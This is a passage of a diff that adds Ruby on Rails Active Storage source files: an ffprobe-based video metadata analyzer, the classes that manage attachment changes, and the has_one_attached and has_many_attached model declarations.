--- /dev/null
+++ b/activestorage/lib/active_storage/analyzer/video_analyzer.rb
@@ -0,0 +1,157 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  # = Active Storage Video \Analyzer
+  #
+  # Extracts the following from a video blob:
+  #
+  # * Width (pixels)
+  # * Height (pixels)
+  # * Duration (seconds)
+  # * Angle (degrees)
+  # * Display aspect ratio
+  # * Audio (true if file has an audio channel, false if not)
+  # * Video (true if file has an video channel, false if not)
+  #
+  # Example:
+  #
+  #   ActiveStorage::Analyzer::VideoAnalyzer.new(blob).metadata
+  #   # => { width: 640.0, height: 480.0, duration: 5.0, angle: 0, display_aspect_ratio: [4, 3], audio: true, video: true }
+  #
+  # When a video's angle is 90, -90, 270 or -270 degrees, its width and height are automatically swapped for convenience.
+  #
+  # This analyzer requires the {FFmpeg}[https://www.ffmpeg.org] system library, which is not provided by \Rails.
+  class Analyzer::VideoAnalyzer < Analyzer
+    def self.accept?(blob)
+      blob.video?
+    end
+
+    def metadata
+      { width: width, height: height, duration: duration, angle: angle, display_aspect_ratio: display_aspect_ratio, audio: audio?, video: video? }.compact
+    end
+
+    private
+      def width
+        if rotated?
+          computed_height || encoded_height
+        else
+          encoded_width
+        end
+      end
+
+      def height
+        if rotated?
+          encoded_width
+        else
+          computed_height || encoded_height
+        end
+      end
+
+      def duration
+        duration = video_stream["duration"] || container["duration"]
+        Float(duration) if duration
+      end
+
+      def angle
+        if tags["rotate"]
+          Integer(tags["rotate"])
+        elsif display_matrix && display_matrix["rotation"]
+          Integer(display_matrix["rotation"])
+        end
+      end
+
+      def display_matrix
+        side_data.detect { |data| data["side_data_type"] == "Display Matrix" }
+      end
+
+      def display_aspect_ratio
+        if descriptor = video_stream["display_aspect_ratio"]
+          if terms = descriptor.split(":", 2)
+            numerator   = Integer(terms[0])
+            denominator = Integer(terms[1])
+
+            [numerator, denominator] unless numerator == 0
+          end
+        end
+      end
+
+      def rotated?
+        angle == 90 || angle == 270 || angle == -90 || angle == -270
+      end
+
+      def audio?
+        audio_stream.present?
+      end
+
+      def video?
+        video_stream.present?
+      end
+
+      def computed_height
+        if encoded_width && display_height_scale
+          encoded_width * display_height_scale
+        end
+      end
+
+      def encoded_width
+        @encoded_width ||= Float(video_stream["width"]) if video_stream["width"]
+      end
+
+      def encoded_height
+        @encoded_height ||= Float(video_stream["height"]) if video_stream["height"]
+      end
+
+      def display_height_scale
+        @display_height_scale ||= Float(display_aspect_ratio.last) / display_aspect_ratio.first if display_aspect_ratio
+      end
+
+      def tags
+        @tags ||= video_stream["tags"] || {}
+      end
+
+      def side_data
+        @side_data ||= video_stream["side_data_list"] || {}
+      end
+
+      def video_stream
+        @video_stream ||= streams.detect { |stream| stream["codec_type"] == "video" } || {}
+      end
+
+      def audio_stream
+        @audio_stream ||= streams.detect { |stream| stream["codec_type"] == "audio" } || {}
+      end
+
+      def streams
+        probe["streams"] || []
+      end
+
+      def container
+        probe["format"] || {}
+      end
+
+      def probe
+        @probe ||= download_blob_to_tempfile { |file| probe_from(file) }
+      end
+
+      def probe_from(file)
+        instrument(File.basename(ffprobe_path)) do
+          IO.popen([ ffprobe_path,
+            "-print_format", "json",
+            "-show_streams",
+            "-show_format",
+            "-v", "error",
+            file.path
+          ]) do |output|
+            JSON.parse(output.read)
+          end
+        end
+      rescue Errno::ENOENT
+        logger.info "Skipping video analysis because ffprobe isn't installed"
+        {}
+      end
+
+      def ffprobe_path
+        ActiveStorage.paths[:ffprobe] || "ffprobe"
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached.rb b/activestorage/lib/active_storage/attached.rb
new file mode 100644
index 0000000000000..4f78ed1dd0250
--- /dev/null
+++ b/activestorage/lib/active_storage/attached.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+
+module ActiveStorage
+  # = Active Storage \Attached
+  #
+  # Abstract base class for the concrete ActiveStorage::Attached::One and ActiveStorage::Attached::Many
+  # classes that both provide proxy access to the blob association for a record.
+  class Attached
+    attr_reader :name, :record
+
+    def initialize(name, record)
+      @name, @record = name, record
+    end
+
+    private
+      def change
+        record.attachment_changes[name]
+      end
+  end
+end
+
+require "active_storage/attached/model"
+require "active_storage/attached/one"
+require "active_storage/attached/many"
+require "active_storage/attached/changes"
diff --git a/activestorage/lib/active_storage/attached/changes.rb b/activestorage/lib/active_storage/attached/changes.rb
new file mode 100644
index 0000000000000..49384e7a98214
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/changes.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  module Attached::Changes # :nodoc:
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :CreateOne
+      autoload :CreateMany
+      autoload :CreateOneOfMany
+
+      autoload :DeleteOne
+      autoload :DeleteMany
+
+      autoload :DetachOne
+      autoload :DetachMany
+
+      autoload :PurgeOne
+      autoload :PurgeMany
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached/changes/create_many.rb b/activestorage/lib/active_storage/attached/changes/create_many.rb
new file mode 100644
index 0000000000000..7ecb06c214a4b
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/changes/create_many.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Attached::Changes::CreateMany # :nodoc:
+    attr_reader :name, :record, :attachables, :pending_uploads
+
+    def initialize(name, record, attachables, pending_uploads: [])
+      @name, @record, @attachables = name, record, Array(attachables)
+      blobs.each(&:identify_without_saving)
+      @pending_uploads = Array(pending_uploads) + subchanges_without_blobs
+      attachments
+    end
+
+    def attachments
+      @attachments ||= subchanges.collect(&:attachment)
+    end
+
+    def blobs
+      @blobs ||= subchanges.collect(&:blob)
+    end
+
+    def analyze
+      subchanges.each(&:analyze)
+    end
+
+    def upload
+      pending_uploads.each(&:upload)
+    end
+
+    def save
+      assign_associated_attachments
+      reset_associated_blobs
+    end
+
+    private
+      def subchanges
+        @subchanges ||= attachables.collect { |attachable| build_subchange_from(attachable) }
+      end
+
+      def build_subchange_from(attachable)
+        ActiveStorage::Attached::Changes::CreateOneOfMany.new(name, record, attachable)
+      end
+
+      def subchanges_without_blobs
+        subchanges.reject { |subchange| subchange.attachable.is_a?(ActiveStorage::Blob) }
+      end
+
+      def assign_associated_attachments
+        record.public_send("#{name}_attachments=", persisted_or_new_attachments)
+      end
+
+      def reset_associated_blobs
+        record.public_send("#{name}_blobs").reset
+      end
+
+      def persisted_or_new_attachments
+        attachments.select { |attachment| attachment.persisted? || attachment.new_record? }
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached/changes/create_one.rb b/activestorage/lib/active_storage/attached/changes/create_one.rb
new file mode 100644
index 0000000000000..c1e5cbceb84ca
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/changes/create_one.rb
@@ -0,0 +1,181 @@
+# frozen_string_literal: true
+
+require "action_dispatch"
+require "action_dispatch/http/upload"
+
+module ActiveStorage
+  class Attached::Changes::CreateOne # :nodoc:
+    attr_reader :name, :record, :attachable
+
+    def initialize(name, record, attachable)
+      @name, @record, @attachable = name, record, attachable
+      blob.identify_without_saving
+    end
+
+    def analyze
+      with_local_io { blob.analyze_without_saving unless blob.analyzed? } if analyze_immediately?
+    end
+
+    def attachment
+      @attachment ||= find_or_build_attachment
+    end
+
+    def blob
+      @blob ||= find_or_build_blob
+    end
+
+    def upload
+      if io = open_attachable_io
+        attachment.uploaded(io: io)
+      end
+    end
+
+    def save
+      record.public_send("#{name}_attachment=", attachment)
+      record.public_send("#{name}_blob=", blob)
+    end
+
+    private
+      def find_or_build_attachment
+        find_attachment || build_attachment
+      end
+
+      def find_attachment
+        if record.public_send("#{name}_blob") == blob
+          record.public_send("#{name}_attachment")
+        end
+      end
+
+      def build_attachment
+        ActiveStorage::Attachment.new(record: record, name: name, blob: blob).tap do |attachment|
+          attachment.pending_upload = pending_upload?
+        end
+      end
+
+      def pending_upload?
+        case attachable
+        when ActiveStorage::Blob, String then false
+        else true
+        end
+      end
+
+      def find_or_build_blob
+        case attachable
+        when ActiveStorage::Blob
+          attachable
+        when ActionDispatch::Http::UploadedFile
+          ActiveStorage::Blob.build_after_unfurling(
+            io: attachable.open,
+            filename: attachable.original_filename,
+            content_type: attachable.content_type,
+            record: record,
+            service_name: attachment_service_name
+          )
+        when Rack::Test::UploadedFile
+          ActiveStorage::Blob.build_after_unfurling(
+            io: attachable.respond_to?(:open) ? attachable.open : attachable,
+            filename: attachable.original_filename,
+            content_type: attachable.content_type,
+            record: record,
+            service_name: attachment_service_name
+          )
+        when Hash
+          ActiveStorage::Blob.build_after_unfurling(
+            **attachable.reverse_merge(
+              record: record,
+              service_name: attachment_service_name
+            ).symbolize_keys
+          )
+        when String
+          ActiveStorage::Blob.find_signed!(attachable, record: record)
+        when File
+          ActiveStorage::Blob.build_after_unfurling(
+            io: attachable,
+            filename: File.basename(attachable),
+            record: record,
+            service_name: attachment_service_name
+          )
+        when Pathname
+          ActiveStorage::Blob.build_after_unfurling(
+            io: attachable.open,
+            filename: File.basename(attachable),
+            record: record,
+            service_name: attachment_service_name
+          )
+        else
+          raise(
+            ArgumentError,
+            "Could not find or build blob: expected attachable, " \
+              "got #{attachable.inspect}"
+          )
+        end
+      end
+
+      def attachment_service_name
+        service_name = record.attachment_reflections[name].options[:service_name]
+        if service_name.is_a?(Proc)
+          service_name = service_name.call(record)
+          Attached::Model.validate_service_configuration(service_name, record.class, name)
+        end
+        service_name
+      end
+
+      def analyze_immediately?
+        case analyze_option
+        when :immediately then true
+        when :later, :lazily then false
+        when nil then has_immediate_variants? || ActiveStorage.analyze == :immediately
+        else
+          raise ArgumentError, "Unknown analyze option: #{analyze_option.inspect}. Valid options are :immediately, :later, :lazily."
+        end
+      end
+
+      def analyze_option
+        reflection&.options&.fetch(:analyze, nil)
+      end
+
+      def reflection
+        record.attachment_reflections[name]
+      end
+
+      def has_immediate_variants?
+        named_variants.any? { |_name, named_variant| named_variant.process(record) == :immediately }
+      end
+
+      def named_variants
+        reflection&.named_variants || {}
+      end
+
+      def open_attachable_io
+        case attachable
+        when ActionDispatch::Http::UploadedFile
+          attachable.open
+        when Rack::Test::UploadedFile
+          attachable.respond_to?(:open) ? attachable.open : attachable
+        when Hash
+          attachable.fetch(:io)
+        when File
+          attachable
+        when Pathname
+          attachable.open
+        when ActiveStorage::Blob, String
+          nil
+        else
+          raise ArgumentError, "Could not upload: expected attachable, got #{attachable.inspect}"
+        end
+      end
+
+      def with_local_io
+        io = open_attachable_io if pending_upload? && !blob.local_io
+
+        if io
+          blob.local_io = io
+          io.rewind if io.respond_to?(:rewind)
+        end
+
+        yield if io || blob.local_io
+      ensure
+        blob.local_io = nil if io
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached/changes/create_one_of_many.rb b/activestorage/lib/active_storage/attached/changes/create_one_of_many.rb
new file mode 100644
index 0000000000000..d585b02425635
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/changes/create_one_of_many.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Attached::Changes::CreateOneOfMany < Attached::Changes::CreateOne # :nodoc:
+    private
+      def find_attachment
+        if blob.persisted?
+          record.public_send("#{name}_attachments").detect { |attachment| attachment.blob_id == blob.id }
+        else
+          blob.attachments.find { |attachment| attachment.record == record }
+        end
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached/changes/delete_many.rb b/activestorage/lib/active_storage/attached/changes/delete_many.rb
new file mode 100644
index 0000000000000..4c16fec1e2ab6
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/changes/delete_many.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Attached::Changes::DeleteMany # :nodoc:
+    attr_reader :name, :record
+
+    def initialize(name, record)
+      @name, @record = name, record
+    end
+
+    def attachables
+      []
+    end
+
+    def attachments
+      ActiveStorage::Attachment.none
+    end
+
+    def blobs
+      ActiveStorage::Blob.none
+    end
+
+    def analyze
+      # Nothing to analyze when deleting
+    end
+
+    def save
+      record.public_send("#{name}_attachments=", [])
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached/changes/delete_one.rb b/activestorage/lib/active_storage/attached/changes/delete_one.rb
new file mode 100644
index 0000000000000..7de67d37c926f
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/changes/delete_one.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Attached::Changes::DeleteOne # :nodoc:
+    attr_reader :name, :record
+
+    def initialize(name, record)
+      @name, @record = name, record
+    end
+
+    def attachment
+      nil
+    end
+
+    def analyze
+      # Nothing to analyze when deleting
+    end
+
+    def save
+      record.public_send("#{name}_attachment=", nil)
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached/changes/detach_many.rb b/activestorage/lib/active_storage/attached/changes/detach_many.rb
new file mode 100644
index 0000000000000..0fe8c3c705a88
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/changes/detach_many.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Attached::Changes::DetachMany # :nodoc:
+    attr_reader :name, :record, :attachments
+
+    def initialize(name, record, attachments)
+      @name, @record, @attachments = name, record, attachments
+    end
+
+    def detach
+      if attachments.any?
+        attachments.delete_all if attachments.respond_to?(:delete_all)
+        record.attachment_changes.delete(name)
+      end
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached/changes/detach_one.rb b/activestorage/lib/active_storage/attached/changes/detach_one.rb
new file mode 100644
index 0000000000000..22412c7b4b203
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/changes/detach_one.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Attached::Changes::DetachOne # :nodoc:
+    attr_reader :name, :record, :attachment
+
+    def initialize(name, record, attachment)
+      @name, @record, @attachment = name, record, attachment
+    end
+
+    def detach
+      if attachment.present?
+        attachment.delete
+        reset
+      end
+    end
+
+    private
+      def reset
+        record.attachment_changes.delete(name)
+        record.public_send("#{name}_attachment=", nil)
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached/changes/purge_many.rb b/activestorage/lib/active_storage/attached/changes/purge_many.rb
new file mode 100644
index 0000000000000..7b5899bc31fd1
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/changes/purge_many.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Attached::Changes::PurgeMany # :nodoc:
+    attr_reader :name, :record, :attachments
+
+    def initialize(name, record, attachments)
+      @name, @record, @attachments = name, record, attachments
+    end
+
+    def purge
+      attachments.each(&:purge)
+      reset
+    end
+
+    def purge_later
+      attachments.each(&:purge_later)
+      reset
+    end
+
+    private
+      def reset
+        record.attachment_changes.delete(name)
+        record.public_send("#{name}_attachments").reset
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached/changes/purge_one.rb b/activestorage/lib/active_storage/attached/changes/purge_one.rb
new file mode 100644
index 0000000000000..86661a6fc2932
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/changes/purge_one.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Attached::Changes::PurgeOne # :nodoc:
+    attr_reader :name, :record, :attachment
+
+    def initialize(name, record, attachment)
+      @name, @record, @attachment = name, record, attachment
+    end
+
+    def purge
+      attachment&.purge
+      reset
+    end
+
+    def purge_later
+      attachment&.purge_later
+      reset
+    end
+
+    private
+      def reset
+        record.attachment_changes.delete(name)
+        record.public_send("#{name}_attachment=", nil)
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached/many.rb b/activestorage/lib/active_storage/attached/many.rb
new file mode 100644
index 0000000000000..03f89baca8c0e
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/many.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  # = Active Storage \Attached \Many
+  #
+  # Decorated proxy object representing of multiple attachments to a model.
+  class Attached::Many < Attached
+    ##
+    # :method: purge
+    #
+    # Directly purges each associated attachment (i.e. destroys the blobs and
+    # attachments and deletes the files on the service).
+    delegate :purge, to: :purge_many
+
+    ##
+    # :method: purge_later
+    #
+    # Purges each associated attachment through the queuing system.
+    delegate :purge_later, to: :purge_many
+
+    ##
+    # :method: detach
+    #
+    # Deletes associated attachments without purging them, leaving their respective blobs in place.
+    delegate :detach, to: :detach_many
+
+    delegate_missing_to :attachments
+
+    # Returns all the associated attachment records.
+    #
+    # All methods called on this proxy object that aren't listed here will automatically be delegated to +attachments+.
+    def attachments
+      change.present? ? change.attachments : record.public_send("#{name}_attachments")
+    end
+
+    # Returns all attached blobs.
+    def blobs
+      change.present? ? change.blobs : record.public_send("#{name}_blobs")
+    end
+
+    # Attaches one or more +attachables+ to the record.
+    #
+    # If the record is persisted and unchanged, the attachments are saved to
+    # the database immediately. Otherwise, they'll be saved to the DB when the
+    # record is next saved.
+    #
+    #   document.images.attach(params[:images]) # Array of ActionDispatch::Http::UploadedFile objects
+    #   document.images.attach(params[:signed_blob_id]) # Signed reference to blob from direct upload
+    #   document.images.attach(io: File.open("/path/to/racecar.jpg"), filename: "racecar.jpg", content_type: "image/jpeg")
+    #   document.images.attach([ first_blob, second_blob ])
+    def attach(*attachables)
+      record.public_send("#{name}=", blobs + attachables.flatten)
+      if record.persisted? && !record.changed?
+        return if !record.save
+      end
+      record.public_send("#{name}")
+    end
+
+    # Returns true if any attachments have been made.
+    #
+    #   class Gallery < ApplicationRecord
+    #     has_many_attached :photos
+    #   end
+    #
+    #   Gallery.new.photos.attached? # => false
+    def attached?
+      attachments.any?
+    end
+
+    private
+      def purge_many
+        Attached::Changes::PurgeMany.new(name, record, attachments)
+      end
+
+      def detach_many
+        Attached::Changes::DetachMany.new(name, record, attachments)
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached/model.rb b/activestorage/lib/active_storage/attached/model.rb
new file mode 100644
index 0000000000000..42d5d872a7d26
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/model.rb
@@ -0,0 +1,324 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/try"
+
+module ActiveStorage
+  # = Active Storage \Attached \Model
+  #
+  # Provides the class-level DSL for declaring an Active Record model's attachments.
+  module Attached::Model
+    extend ActiveSupport::Concern
+
+    ##
+    # :method: *_attachment
+    #
+    # Returns the attachment for the +has_one_attached+.
+    #
+    #   User.last.avatar_attachment
+
+    ##
+    # :method: *_attachments
+    #
+    # Returns the attachments for the +has_many_attached+.
+    #
+    #   Gallery.last.photos_attachments
+
+    ##
+    # :method: *_blob
+    #
+    # Returns the blob for the +has_one_attached+ attachment.
+    #
+    #   User.last.avatar_blob
+
+    ##
+    # :method: *_blobs
+    #
+    # Returns the blobs for the +has_many_attached+ attachments.
+    #
+    #   Gallery.last.photos_blobs
+
+    ##
+    # :method: with_attached_*
+    #
+    # Includes the attached blobs in your query to avoid N+1 queries.
+    #
+    # If +ActiveStorage.track_variants+ is enabled, it will also include the
+    # variants record and their attached blobs.
+    #
+    #   User.with_attached_avatar
+    #
+    # Use the plural form for +has_many_attached+:
+    #
+    #   Gallery.with_attached_photos
+
+    class_methods do
+      # Specifies the relation between a single attachment and the model.
+      #
+      #   class User < ApplicationRecord
+      #     has_one_attached :avatar
+      #   end
+      #
+      # There is no column defined on the model side, Active Storage takes
+      # care of the mapping between your records and the attachment.
+      #
+      # Under the covers, this relationship is implemented as a +has_one+ association to an
+      # ActiveStorage::Attachment record and a +has_one-through+ association to an
+      # ActiveStorage::Blob record. These associations are available as +avatar_attachment+
+      # and +avatar_blob+. But you shouldn't need to work with these associations directly in
+      # most circumstances.
+      #
+      # Instead, +has_one_attached+ generates an ActiveStorage::Attached::One proxy to
+      # provide access to the associations and factory methods, like +attach+:
+      #
+      #   user.avatar.attach(uploaded_file)
+      #
+      # The +:dependent+ option defaults to +:purge_later+. This means the attachment will be
+      # purged (i.e. destroyed) in the background whenever the record is destroyed.
+      # If an ActiveJob::Backend queue adapter is not set in the application set it to
+      # +purge+ instead.
+      #
+      # If you need the attachment to use a service which differs from the globally configured one,
+      # pass the +:service+ option. For example:
+      #
+      #   class User < ActiveRecord::Base
+      #     has_one_attached :avatar, service: :s3
+      #   end
+      #
+      # +:service+ can also be specified as a proc, and it will be called with the model instance:
+      #
+      #   class User < ActiveRecord::Base
+      #     has_one_attached :avatar, service: ->(user) { user.in_europe_region? ? :s3_europe : :s3_usa }
+      #   end
+      #
+      # To avoid N+1 queries, you can include the attached blobs in your query like so:
+      #
+      #   User.with_attached_avatar
+      #
+      # If you need to enable +strict_loading+ to prevent lazy loading of attachment,
+      # pass the +:strict_loading+ option. You can do:
+      #
+      #   class User < ApplicationRecord
+      #     has_one_attached :avatar, strict_loading: true
+      #   end
+      #
+      # Pass the +analyze:+ option to control when analysis is performed:
+      #
+      #   class User < ApplicationRecord
+      #     has_one_attached :avatar, analyze: :immediately
+      #   end
+      #
+      # Valid values are:
+      # - +:immediately+ - Analyze before validation, making metadata available for validations
+      # - +:later+ (default) - Analyze in a background job after attachment
+      # - +:lazily+ - Skip automatic analysis; analyze on-demand when metadata is accessed
+      #
+      # The default can be changed globally with <tt>config.active_storage.analyze = :immediately</tt>.
+      #
+      # Note: Active Storage relies on polymorphic associations, which in turn store class names in the database.
+      # When renaming classes that use <tt>has_one_attached</tt>, make sure to also update the class names in the
+      # <tt>active_storage_attachments.record_type</tt> polymorphic type column of
+      # the corresponding rows.
+      def has_one_attached(name, dependent: :purge_later, service: nil, strict_loading: false, analyze: nil)
+        Attached::Model.validate_service_configuration(service, self, name) unless service.is_a?(Proc)
+
+        generated_association_methods.class_eval <<-CODE, __FILE__, __LINE__ + 1
+          # frozen_string_literal: true
+          def #{name}
+            @active_storage_attached ||= {}
+            @active_storage_attached[:#{name}] ||= ActiveStorage::Attached::One.new("#{name}", self)
+          end
+
+          def #{name}=(attachable)
+            attachment_changes["#{name}"] =
+              if attachable.nil? || attachable == ""
+                ActiveStorage::Attached::Changes::DeleteOne.new("#{name}", self)
+              else
+                ActiveStorage::Attached::Changes::CreateOne.new("#{name}", self, attachable)
+              end
+          end
+        CODE
+
+        has_one :"#{name}_attachment", -> { where(name: name) }, class_name: "ActiveStorage::Attachment", as: :record, inverse_of: :record, dependent: :destroy, strict_loading: strict_loading
+        has_one :"#{name}_blob", through: :"#{name}_attachment", class_name: "ActiveStorage::Blob", source: :blob, strict_loading: strict_loading
+
+        scope :"with_attached_#{name}", -> {
+          if ActiveStorage.track_variants
+            includes("#{name}_attachment": { blob: {
+              variant_records: { image_attachment: :blob },
+              preview_image_attachment: { blob: { variant_records: { image_attachment: :blob } } }
+            } })
+          else
+            includes("#{name}_attachment": :blob)
+          end
+        }
+
+        before_validation { attachment_changes[name.to_s]&.analyze }
+
+        after_save { attachment_changes[name.to_s]&.save }
+
+        after_commit(on: %i[ create update ]) { attachment_changes.delete(name.to_s).try(:upload) }
+
+        reflection = ActiveRecord::Reflection.create(
+          :has_one_attached,
+          name,
+          nil,
+          { dependent: dependent, service_name: service, analyze: analyze },
+          self
+        )
+        yield reflection if block_given?
+        ActiveRecord::Reflection.add_attachment_reflection(self, name, reflection)
+      end
+
+      # Specifies the relation between multiple attachments and the model.
+      #
+      #   class Gallery < ApplicationRecord
+      #     has_many_attached :photos
+      #   end
+      #
+      # There are no columns defined on the model side, Active Storage takes
+      # care of the mapping between your records and the attachments.
+      #
+      # Under the covers, this relationship is implemented as a +has_many+ association to an
+      # ActiveStorage::Attachment record and a +has_many-through+ association to an
+      # ActiveStorage::Blob record. These associations are available as +photos_attachments+
+      # and +photos_blobs+. But you shouldn't need to work with these associations directly in
+      # most circumstances.
+      #
+      # Instead, +has_many_attached+ generates an ActiveStorage::Attached::Many proxy to
+      # provide access to the associations and factory methods, like +attach+:
+      #
+      #   user.photos.attach(uploaded_file)
+      #
+      # The +:dependent+ option defaults to +:purge_later+. This means the attachments will be
+      # purged (i.e. destroyed) in the background whenever the record is destroyed.
+      # If an ActiveJob::Backend queue adapter is not set in the application set it to
+      # +purge+ instead.
+      #
+      # If you need the attachment to use a service which differs from the globally configured one,
+      # pass the +:service+ option. For example:
+      #
+      #   class Gallery < ActiveRecord::Base
+      #     has_many_attached :photos, service: :s3
+      #   end
+      #
+      # +:service+ can also be specified as a proc, and it will be called with the model instance:
+      #
+      #   class Gallery < ActiveRecord::Base
+      #     has_many_attached :photos, service: ->(gallery) { gallery.personal? ? :personal_s3 : :s3 }
+      #   end
+      #
+      # To avoid N+1 queries, you can include the attached blobs in your query like so:
+      #
+      #   Gallery.where(user: Current.user).with_attached_photos
+      #
+      # If you need to enable +strict_loading+ to prevent lazy loading of attachments,
+      # pass the +:strict_loading+ option. You can do:
+      #
+      #   class Gallery < ApplicationRecord
+      #     has_many_attached :photos, strict_loading: true
+      #   end
+      #
+      # Pass the +analyze:+ option to control when analysis is performed:
+      #
+      #   class Gallery < ApplicationRecord
+      #     has_many_attached :photos, analyze: :immediately
+      #   end
+      #
+      # See +has_one_attached+ for available values and details.
+      #
+      # Note: Active Storage relies on polymorphic associations, which in turn store class names in the database.
+      # When renaming classes that use <tt>has_many</tt>, make sure to also update the class names in the
+      # <tt>active_storage_attachments.record_type</tt> polymorphic type column of
+      # the corresponding rows.
+      def has_many_attached(name, dependent: :purge_later, service: nil, strict_loading: false, analyze: nil)
+        Attached::Model.validate_service_configuration(service, self, name) unless service.is_a?(Proc)
+
+        generated_association_methods.class_eval <<-CODE, __FILE__, __LINE__ + 1
+          # frozen_string_literal: true
+          def #{name}
+            @active_storage_attached ||= {}
+            @active_storage_attached[:#{name}] ||= ActiveStorage::Attached::Many.new("#{name}", self)
+          end
+
+          def #{name}=(attachables)
+            attachables = Array(attachables).compact_blank
+            pending_uploads = attachment_changes["#{name}"].try(:pending_uploads)
+
+            attachment_changes["#{name}"] = if attachables.none?
+              ActiveStorage::Attached::Changes::DeleteMany.new("#{name}", self)
+            else
+              ActiveStorage::Attached::Changes::CreateMany.new("#{name}", self, attachables, pending_uploads: pending_uploads)
+            end
+          end
+        CODE
+
+        has_many :"#{name}_attachments", -> { where(name: name) }, as: :record, class_name: "ActiveStorage::Attachment", inverse_of: :record, dependent: :destroy, strict_loading: strict_loading
+        has_many :"#{name}_blobs", through: :"#{name}_attachments", class_name: "ActiveStorage::Blob", source: :blob, strict_loading: strict_loading
+
+        scope :"with_attached_#{name}", -> {
+          if ActiveStorage.track_variants
+            includes("#{name}_attachments": { blob: {
+              variant_records: { image_attachment: :blob },
+              preview_image_attachment: { blob: { variant_records: { image_attachment: :blob } } }
+            } })
+          else
+            includes("#{name}_attachments": :blob)
+          end
+        }
+
+        before_validation { attachment_changes[name.to_s]&.analyze }
+
+        after_save { attachment_changes[name.to_s]&.save }
+
+        after_commit(on: %i[ create update ]) { attachment_changes.delete(name.to_s).try(:upload) }
+
+        reflection = ActiveRecord::Reflection.create(
+          :has_many_attached,
+          name,
+          nil,
+          { dependent: dependent, service_name: service, analyze: analyze },
+          self
+        )
+        yield reflection if block_given?
+        ActiveRecord::Reflection.add_attachment_reflection(self, name, reflection)
+      end
+    end
+
+    class << self
+      def validate_service_configuration(service_name, model_class, association_name) # :nodoc:
+        if service_name
+          ActiveStorage::Blob.services.fetch(service_name) do
+            raise ArgumentError, "Cannot configure service #{service_name.inspect} for #{model_class}##{association_name}"
+          end
+        else
+          validate_global_service_configuration(model_class)
+        end
+      end
+
+      private
+        def validate_global_service_configuration(model_class)
+          if model_class.connected? && ActiveStorage::Blob.table_exists? && Rails.configuration.active_storage.service.nil?
+            raise RuntimeError, "Missing Active Storage service name. Specify Active Storage service name for config.active_storage.service in config/environments/#{Rails.env}.rb"
+          end
+        end
+    end
+
+    def attachment_changes # :nodoc:
+      @attachment_changes ||= {}
+    end
+
+    def changed_for_autosave? # :nodoc:
+      super || attachment_changes.any?
+    end
+
+    def initialize_dup(*) # :nodoc:
+      super
+      @active_storage_attached = nil
+      @attachment_changes = nil
+    end
+
+    def reload(*) # :nodoc:
+      super.tap { @attachment_changes = nil }
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/attached/one.rb b/activestorage/lib/active_storage/attached/one.rb
new file mode 100644
index 0000000000000..acb8b8af255b8
--- /dev/null
+++ b/activestorage/lib/active_storage/attached/one.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  # = Active Storage \Attached \One
+  #
+  # Representation of a single attachment to a model.
+  class Attached::One < Attached
+    ##
+    # :method: purge
+    #
+    # Directly purges the attachment (i.e. destroys the blob and
+    # attachment and deletes the file on the service).
+    delegate :purge, to: :purge_one
+
+    ##
+    # :method: purge_later
+    #
+    # Purges the attachment through the queuing system.
+    delegate :purge_later, to: :purge_one
+
+    ##
+    # :method: detach
+    #
+    # Deletes the attachment without purging it, leaving its blob in place.
+    delegate :detach, to: :detach_one
+
+    delegate_missing_to :attachment, allow_nil: true
+
+    # Returns the associated attachment record.
+    #
+    # You don't have to call this method to access the attachment's methods as
+    # they are all available at the model level.
+    def attachment
+      change.present? ? change.attachment : record.public_send("#{name}_attachment")
+    end
+
+    # Returns +true+ if an attachment is not attached.
+    #
+    #   class User < ApplicationRecord
+    #     has_one_attached :avatar
+    #   end
+    #
+    #   User.new.avatar.blank? # => true
+    def blank?
+      !attached?
+    end
+
+    # Attaches an +attachable+ to the record.
+    #
+    # If the record is persisted and unchanged, the attachment is saved to
+    # the database immediately. Otherwise, it'll be saved to the DB when the
+    # record is next saved.
+    #
+    #   person.avatar.attach(params[:avatar]) # ActionDispatch::Http::UploadedFile object
+    #   person.avatar.attach(params[:signed_blob_id]) # Signed reference to blob from direct upload
